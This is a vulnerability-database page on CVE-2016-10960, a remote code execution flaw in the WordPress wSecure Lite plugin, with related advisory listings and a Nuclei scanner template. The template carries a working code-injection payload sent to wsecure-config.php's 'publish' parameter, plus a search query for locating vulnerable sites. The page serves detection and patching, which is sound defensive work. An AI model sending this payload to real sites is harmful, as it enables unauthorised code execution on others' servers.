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WordPress wSecure Lite < 2.4 - Remote Code Execution

🗓️ 25 Jun 2026 05:45:03Reported by ProjectDiscoveryType 
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WordPress wSecure Lite < 2.4 - Remote Code Execution vulnerability. Execute arbitrary code via shell metacharacters in wsecure-config.php. Update to 2.4 or higher

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Circl
CVE-2016-10960
16 Sep 201916:32
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CVE-2016-10960
16 Sep 201912:22
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CVE-2016-10960
16 Sep 201912:22
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CVE-2016-10960
16 Sep 201913:15
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CVE-2016-10960
16 Sep 201913:15
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Prion
Remote code execution
16 Sep 201913:15
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CVE-2016-10960
9 Jan 202611:12
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VulnCheck KEV
VulnCheck KEV: CVE-2016-10960
8 Oct 202500:00
vulncheck_kev
id: CVE-2016-10960

info:
  name: WordPress wSecure Lite < 2.4 - Remote Code Execution
  author: daffainfo
  severity: high
  description: WordPress wsecure plugin before 2.4 is susceptible to remote code execution via shell metacharacters in the wsecure-config.php publish parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected WordPress site.
  remediation: |
    Update to the latest version of WordPress wSecure Lite plugin (2.4 or higher) to fix the vulnerability.
  reference:
    - https://www.pluginvulnerabilities.com/2016/07/12/remote-code-execution-rce-vulnerability-in-wsecure-lite/
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-wsecure-lite-remote-code-execution-2-3/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10960
    - https://wordpress.org/plugins/wsecure/#developers
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2016-10960
    cwe-id: CWE-20
    epss-score: 0.08976
    epss-percentile: 0.94591
    cpe: cpe:2.3:a:joomlaserviceprovider:wsecure:*:*:*:*:lite:wordpress:*:*
  metadata:
    max-request: 1
    vendor: joomlaserviceprovider
    product: wsecure
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wsecure"
  tags: cve2016,cve,wordpress,wp-plugin,rce,joomlaserviceprovider,vkev,vuln
variables:
  name: "{{to_lower(rand_text_alpha(5))}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/wp-content/plugins/wsecure/wsecure-config.php"

    body: 'wsecure_action=update&publish=";} header("{{name}}: CVE-2016-10960"); class WSecureConfig2 {var $test="'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "{{name}}: CVE-2016-10960"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f7c7d7f69e60fe9825b9843159c006090643fc1e7a442ead6746b3a4a662b53602204d1b09058e62611f77eabc511893e8182181c337fe9461f372fa43d81b3dda8f:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.9High risk
Vulners AI Score7.9
CVSS 26.5
CVSS 3.18.8
EPSS0.08976
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